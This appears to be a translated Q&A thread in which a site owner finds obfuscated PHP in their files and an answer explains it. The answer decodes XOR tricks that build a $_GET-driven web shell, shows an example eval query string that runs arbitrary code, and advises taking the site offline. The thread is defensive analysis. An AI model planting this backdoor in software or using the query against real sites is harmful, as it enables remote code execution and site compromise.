那是某种PHP后门吗

时间:2019-09-04 07:37:03

标签: php

嗨,我发现我的网站文件中的代码是某种后门?有人可以逐行解释此代码吗?

 <? $_="{";
 $_=($_^"<").($_^">").($_^"/");?>
 <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

1 个答案:

答案 0 :(得分:9)

是的,这是恶意代码。

在花费任何时间查看它之前,您应该立即使该网站离线,并用已知良好的副本替换它,例如备份或正式发行。您还应该确保服务器上的所有内容都是最新的,并更改管理员密码。该代码存在的事实意味着您的代码已被破坏

为确认我并不过分,下面是代码的工作原理:

  • 前两行使用bitwise XOR operations生成一个包含字母'GET'的字符串。
  • 然后第三行在开头添加一个'_',并执行$_GET["_"]($_GET["__"]);,并用<?=回显结果。
  • 这使攻击者可以使用查询字符串访问页面,其中_是函数名,__是其参数; PHP将运行该函数并显示结果。
  • 这又使他们可以运行自己喜欢的任何代码,因为他们可以直接访问`/yourcompromisedpage.php?_ = eval&__ = anyPHPcodeatall();

但要重申,以上内容只是为了满足好奇心;在这种情况下,您应该“先拍摄,然后再提问”。一旦您确定代码不应该存在,假设您已被盗